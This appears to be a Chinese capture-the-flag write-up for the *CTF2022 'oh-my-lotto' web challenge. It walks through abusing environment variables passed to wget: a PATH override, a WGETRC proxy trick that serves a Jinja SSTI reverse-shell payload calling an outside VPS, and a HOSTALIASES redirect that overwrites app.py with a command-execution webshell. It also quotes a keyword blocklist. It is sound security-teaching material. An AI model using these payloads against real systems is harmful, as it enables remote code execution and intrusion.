*CTF2022 oh-my-lotto&revenge

*CTF2022 oh-my-lotto&revenge

简单分析下源码

题目给了附件,主要看app,lotto,docker-compose.yml

在这里插入图片描述

这里是开了两个容器,然后通过links进行交互,app可以通过links将lotto容器的ip记录到该容器中, 再通过连接 lotto:80 可以访问lotto容器(因为lotto在80端口上)
这个在之后的wget中很有用
在这里插入图片描述

lotto

我们先看lotto

from flask import Flask, make_response
import secrets

app = Flask(__name__)
#在80端口有个服务,我们访问就会生成一个txt,然后将文件返回
@app.route("/")
def index():
    lotto = []
    for i in range(1, 20):
        n = str(secrets.randbelow(40))
        lotto.append(n)
    
    r = '\n'.join(lotto)
    response = make_response(r)
    response.headers['Content-Type'] = 'text/plain'
    response.headers['Content-Disposition'] = 'attachment; filename=lotto_result.txt'
    return response

if __name__ == "__main__":
    app.run(debug=True, host='0.0.0.0', port=80)

app

看结构
在这里插入图片描述

  1. safe_check是一个方法,会检测一些恶意利用环境变量的命令
    在这里插入图片描述

  2. /index返回index.html

  3. /result会将/app/lotto_result.txt中的值进行返回

  4. /forecast路由可以上传文件,并且存储到/app/guess/forecast.txt

  5. /lotto路由处,接收两个参数,然后将lotto_key转大写,对lotto_key进行检测,当检测无问题之后,通过os.environ将两个参数分别作为key和value仍进环境变量

在这里插入图片描述

然后接下来,通过wget去访问lotto,这个前面也分析了,因为两个容器都是在一个机子上,所以也就是相当于去127.0.0.1:80去请求一个新生成的随机数文件

os.system('wget --content-disposition -N lotto')

在这里插入图片描述

非预期解

修改PATH变量

wget运行的时候,会去环境变量里找wget,但是如果我们把PATH修改了,那么wget就会出错,就不会生成新的/app/lotto_result.txt

这样我们先拿到/app/lotto_result.txt,然后将PATH修改掉,然后我们拿到的上一次的结果,访问/lotto,wget出问题,不会生成新的/app/lotto_result.txt,达成预测值和靶机里的文件相同,得flag

本地复现的时候,确实成功把PATH环境变量给打了,然后生成不了新的/app/lotto_result.txt,但是我们上传一个和/app/lotto_result.txt相同的文件,还是不能得到flag

我甚至去和容器交互,然后查看两个文件下的内容

在这里插入图片描述

从表面上看是一样的,但是还是有些区别

这里我们用附件中的脚本,简单修改下,生成txt

from flask import Flask, make_response
import secrets

app = Flask(__name__)
#在80端口有个服务,我们访问就会生成一个txt,然后将文件返回
@app.route("/")
def index():
    str2 = '26 14 2 15 10 31 1 29 15 1 3 17 21 28 8 5 13 26 12'
    str1 = str2.split(" ")
    lotto = []
    for i in str1:
        # n = str(secrets.randbelow(40))
        n = str(i)
        lotto.append(n)

    
    r = '\n'.join(lotto)
    response = make_response(r)
    response.headers['Content-Type'] = 'text/plain'
    response.headers['Content-Disposition'] = 'attachment; filename=lotto_result.txt'
    return response

if __name__ == "__main__":
    app.run(debug=True, host='0.0.0.0', port=80)

我们来看这个我自己在windows下手写的txt和脚本生成的文件的区别
在这里插入图片描述

这个可能是因为windows和linux下回车换行的含义不同引起的(如果说的有问题,请大佬指点)
在这里插入图片描述

上传文件之后,进入/lotto,然后输入

path
/tmp

回显结果
在这里插入图片描述

WGETRC

思路一:用http_proxy,在vps上整个服务,让wget去vps上下载上一次的结果,所以会判定相同

思路二:
参考y4师傅的wp
看文档
在这里插入图片描述

有两个很神奇的变量:
http_proxy:代理,每次wget会先访问我们这个代理
output_document:控制返回文件的目录

所以可以根据这两个参数,做一个代理,让wget去访问我们的vps,然后返回index.html打SSTI

首先将变量传进app/gusss/forecast.txt
1.txt,将1.txt上传

http_proxy=http://vps:7005
output_document=templates/index.html

vps上整个服务,用来将反弹shell的语句返回给index.html

from flask import Flask

app = Flask(__name__)

@app.route("/")
def index():
    a = '''{{config.__class__.__init__.__globals__['os'].popen('/bin/bash -c "bash -i >& /dev/tcp/vps/7010 0>&1"').read()}}'''
    return a

if __name__ == "__main__":
    app.run(debug=True,host='0.0.0.0', port=7005)

传参

在这里插入图片描述

代理得到请求,将反弹shell返回
在这里插入图片描述

在vps上监听7010端口
在这里插入图片描述

预期解

官方wp

根据源码中app.py所述逻辑,当上传的forecast.txt文件内容与lotto_result.txt文件内容相符时,可以获得flag,lotto容器中生成lotto_result.txt使用的是secrets库,该库函数使用安全的随机数生成方法,理论上不存在被预测的风险。

发现在进行lotto猜测的时候可以运行输入一次环境变量,该环境变量会被传递给os.system('wget --content-disposition -N lotto'),同时环境变量会经过safe_check函数检查

def safe_check(s):
    if 'LD' in s or 'HTTP' in s or 'BASH' in s or 'ENV' in s or 'PROXY' in s or 'PS' in s:
        return False
    return True

一些常见的环境变量利用方法都已经被禁止,通过翻阅Linux环境变量文档http://www.scratchbox.org/documentation/general/tutorials/glibcenv.html在Network Settings中发现有HOSTALIASES可以设置shell的hosts加载文件,利用/forecast路由可以上传待加载的hosts文件,将wget --content-disposition -N lotto发向lotto的请求转发到自己的域名

例如如下hosts文件

# hosts
lotto www.sk1y.com

同时注意到wget请求添加了--content-disposition -N参数,说明请求的保存文件名将由服务方提供方指定的文件名决定,并可以覆盖原有的文件,那我们在自己的www.sk1y.top域名的80端口提供一个文件下载的功能,将返回文件名设置为app.py就可以覆盖当前题目的app.py文件

首先上传hosts文件,然后将HOSTALIASES设置为/app/guess/forecast.txt
在这里插入图片描述
查看app.py,发现app.py已经被覆盖了
在这里插入图片描述

服务端参考POC

from flask import Flask, request, make_response
import mimetypes

app = Flask(__name__)

@app.route("/")
def index():

    r = '''
from flask import Flask,request
import os


app = Flask(__name__)
@app.route("/test", methods=['GET'])
def test():
    a = request.args.get('a')
    a = os.popen(a)
    a = a.read()
    return str(a)

if __name__ == "__main__":
    app.run(debug=True,host='0.0.0.0', port=8080)
'''
    response = make_response(r)
    response.headers['Content-Type'] = 'text/plain'
    response.headers['Content-Disposition'] = 'attachment; filename=app.py'
    return response

if __name__ == "__main__":
    app.run(debug=True,host='0.0.0.0', port=80)

此时发现已经覆盖了题目的app.py,但并不能直接RCE,因为题目使用gunicorn部署,app.py在改变的情况下并不会实时加载。但gunicorn使用一种pre-forked worker的机制,当某一个worker超时以后,就会让gunicorn重启该worker,让worker超时的POC如下
exploit.sh文件如下:

timeout 50 nc 192.168.43.145 8880 &
timeout 50 nc 192.168.43.145 8880 &
timeout 50 nc 192.168.43.145 8880

运行

给可执行权限
chmod +x exploit.sh
然后运行
./exploit.sh

过一会儿,再访问,发现app.py重新加载了
在这里插入图片描述

然后传参test/?a=env,得到flag

在这里插入图片描述

参考链接

  1. 官方wp
  2. y4师傅的wp
  3. wget参考文档
  • 4
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值